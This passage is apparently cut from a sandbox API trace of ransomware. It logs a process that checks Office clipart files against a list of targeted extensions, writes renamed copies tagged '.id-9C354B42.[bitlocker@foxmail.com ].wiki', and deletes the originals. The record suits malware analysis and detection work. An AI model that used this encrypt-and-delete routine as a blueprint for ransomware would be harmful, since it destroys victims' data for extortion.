Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0199.619] lstrlenW (lpString=".1cd") returned 4 [0199.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0199.619] lstrlenW (lpString=".jpg") returned 4 [0199.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0199.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0199.620] lstrlenW (lpString=".doc") returned 4 [0199.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.620] lstrlenW (lpString=".docx") returned 5 [0199.620] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0199.620] lstrlenW (lpString=".pdf") returned 4 [0199.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.620] lstrlenW (lpString=".xls") returned 4 [0199.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.620] lstrlenW (lpString=".xlsx") returned 5 [0199.620] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0199.620] lstrlenW (lpString=".ppt") returned 4 [0199.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0199.620] lstrlenW (lpString=".zip") returned 4 [0199.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.620] lstrlenW (lpString=".rar") returned 4 [0199.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.620] lstrlenW (lpString=".bz2") returned 4 [0199.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.620] lstrlenW (lpString=".7z") returned 3 [0199.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0199.620] lstrlenW (lpString=".dbf") returned 4 [0199.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0199.620] lstrlenW (lpString=".1cd") returned 4 [0199.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0199.620] lstrlenW (lpString=".jpg") returned 4 [0199.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.621] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.621] lstrlenW (lpString="J0186364.WMF") returned 12 [0199.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0199.621] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=18212) returned 1 [0199.621] CloseHandle (hObject=0x1c8) returned 1 [0199.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf")) returned 0x20 [0199.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0199.622] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.622] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0199.622] GetLastError () returned 0x0 [0199.622] ReadFile (in: hFile=0x1c8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x4724, lpOverlapped=0x0) returned 1 [0199.624] WriteFile (in: hFile=0x1e0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x4730, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4730, lpOverlapped=0x0) returned 1 [0199.625] ReadFile (in: hFile=0x1c8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.625] WriteFile (in: hFile=0x1e0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.625] SetEndOfFile (hFile=0x1e0) returned 1 [0199.626] CloseHandle (hObject=0x1e0) returned 1 [0199.626] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.626] SetEndOfFile (hFile=0x1c8) returned 1 [0199.626] CloseHandle (hObject=0x1c8) returned 1 [0199.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf")) returned 1 [0199.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0199.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0199.627] lstrlenW (lpString=".doc") returned 4 [0199.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.627] lstrlenW (lpString=".docx") returned 5 [0199.627] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0199.627] lstrlenW (lpString=".pdf") returned 4 [0199.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.627] lstrlenW (lpString=".xls") returned 4 [0199.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.628] lstrlenW (lpString=".xlsx") returned 5 [0199.628] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0199.628] lstrlenW (lpString=".ppt") returned 4 [0199.628] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0199.628] lstrlenW (lpString=".zip") returned 4 [0199.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.628] lstrlenW (lpString=".rar") returned 4 [0199.628] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.628] lstrlenW (lpString=".bz2") returned 4 [0199.628] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.628] lstrlenW (lpString=".7z") returned 3 [0199.628] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0199.628] lstrlenW (lpString=".dbf") returned 4 [0199.628] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0199.628] lstrlenW (lpString=".1cd") returned 4 [0199.628] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0199.628] lstrlenW (lpString=".jpg") returned 4 [0199.628] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0199.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0199.628] lstrlenW (lpString=".doc") returned 4 [0199.628] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.628] lstrlenW (lpString=".docx") returned 5 [0199.628] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0199.806] lstrlenW (lpString=".pdf") returned 4 [0199.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.806] lstrlenW (lpString=".xls") returned 4 [0199.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.815] lstrlenW (lpString=".xlsx") returned 5 [0199.815] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0199.815] lstrlenW (lpString=".ppt") returned 4 [0199.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0199.815] lstrlenW (lpString=".zip") returned 4 [0199.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.815] lstrlenW (lpString=".rar") returned 4 [0199.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.820] lstrlenW (lpString=".bz2") returned 4 [0199.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.820] lstrlenW (lpString=".7z") returned 3 [0199.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0199.820] lstrlenW (lpString=".dbf") returned 4 [0199.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0199.820] lstrlenW (lpString=".1cd") returned 4 [0199.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0199.820] lstrlenW (lpString=".jpg") returned 4 [0199.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.820] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.820] lstrlenW (lpString="J0187859.WMF") returned 12 [0199.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.821] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2732) returned 1 [0199.821] CloseHandle (hObject=0x1f0) returned 1 [0199.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf")) returned 0x20 [0199.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.821] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.821] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0199.822] GetLastError () returned 0x0 [0199.822] ReadFile (in: hFile=0x1f0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xaac, lpOverlapped=0x0) returned 1 [0199.823] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xab0, lpOverlapped=0x0) returned 1 [0199.824] ReadFile (in: hFile=0x1f0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.824] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.824] SetEndOfFile (hFile=0x1c8) returned 1 [0199.824] CloseHandle (hObject=0x1c8) returned 1 [0199.825] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.825] SetEndOfFile (hFile=0x1f0) returned 1 [0199.825] CloseHandle (hObject=0x1f0) returned 1 [0199.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.825] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf")) returned 1 [0199.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0199.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0199.826] lstrlenW (lpString=".doc") returned 4 [0199.826] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.826] lstrlenW (lpString=".docx") returned 5 [0199.826] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.826] lstrlenW (lpString=".pdf") returned 4 [0199.826] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.826] lstrlenW (lpString=".xls") returned 4 [0199.826] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.826] lstrlenW (lpString=".xlsx") returned 5 [0199.826] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.826] lstrlenW (lpString=".ppt") returned 4 [0199.826] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0199.826] lstrlenW (lpString=".zip") returned 4 [0199.826] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.826] lstrlenW (lpString=".rar") returned 4 [0199.826] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.826] lstrlenW (lpString=".bz2") returned 4 [0199.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.826] lstrlenW (lpString=".7z") returned 3 [0199.826] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0199.826] lstrlenW (lpString=".dbf") returned 4 [0199.826] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0199.826] lstrlenW (lpString=".1cd") returned 4 [0199.826] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0199.827] lstrlenW (lpString=".jpg") returned 4 [0199.827] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0199.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0199.827] lstrlenW (lpString=".doc") returned 4 [0199.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.827] lstrlenW (lpString=".docx") returned 5 [0199.827] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.827] lstrlenW (lpString=".pdf") returned 4 [0199.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.827] lstrlenW (lpString=".xls") returned 4 [0199.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.827] lstrlenW (lpString=".xlsx") returned 5 [0199.827] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.827] lstrlenW (lpString=".ppt") returned 4 [0199.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0199.827] lstrlenW (lpString=".zip") returned 4 [0199.827] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.827] lstrlenW (lpString=".rar") returned 4 [0199.827] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.827] lstrlenW (lpString=".bz2") returned 4 [0199.827] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.827] lstrlenW (lpString=".7z") returned 3 [0199.827] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0199.827] lstrlenW (lpString=".dbf") returned 4 [0199.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0199.827] lstrlenW (lpString=".1cd") returned 4 [0199.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0199.828] lstrlenW (lpString=".jpg") returned 4 [0199.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.828] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.828] lstrlenW (lpString="J0187861.WMF") returned 12 [0199.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.828] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=9108) returned 1 [0199.828] CloseHandle (hObject=0x1f0) returned 1 [0199.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf")) returned 0x20 [0199.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.829] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.829] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0199.829] GetLastError () returned 0x0 [0199.829] ReadFile (in: hFile=0x1f0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x2394, lpOverlapped=0x0) returned 1 [0199.831] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x23a0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x23a0, lpOverlapped=0x0) returned 1 [0199.832] ReadFile (in: hFile=0x1f0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.832] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.832] SetEndOfFile (hFile=0x1c8) returned 1 [0199.832] CloseHandle (hObject=0x1c8) returned 1 [0199.832] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.832] SetEndOfFile (hFile=0x1f0) returned 1 [0199.835] CloseHandle (hObject=0x1f0) returned 1 [0199.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf")) returned 1 [0199.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0199.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0199.835] lstrlenW (lpString=".doc") returned 4 [0199.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.835] lstrlenW (lpString=".docx") returned 5 [0199.836] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0199.836] lstrlenW (lpString=".pdf") returned 4 [0199.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.836] lstrlenW (lpString=".xls") returned 4 [0199.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.836] lstrlenW (lpString=".xlsx") returned 5 [0199.836] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0199.836] lstrlenW (lpString=".ppt") returned 4 [0199.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0199.836] lstrlenW (lpString=".zip") returned 4 [0199.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.836] lstrlenW (lpString=".rar") returned 4 [0199.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.836] lstrlenW (lpString=".bz2") returned 4 [0199.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.836] lstrlenW (lpString=".7z") returned 3 [0199.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0199.836] lstrlenW (lpString=".dbf") returned 4 [0199.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0199.836] lstrlenW (lpString=".1cd") returned 4 [0199.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0199.836] lstrlenW (lpString=".jpg") returned 4 [0199.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0199.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0199.836] 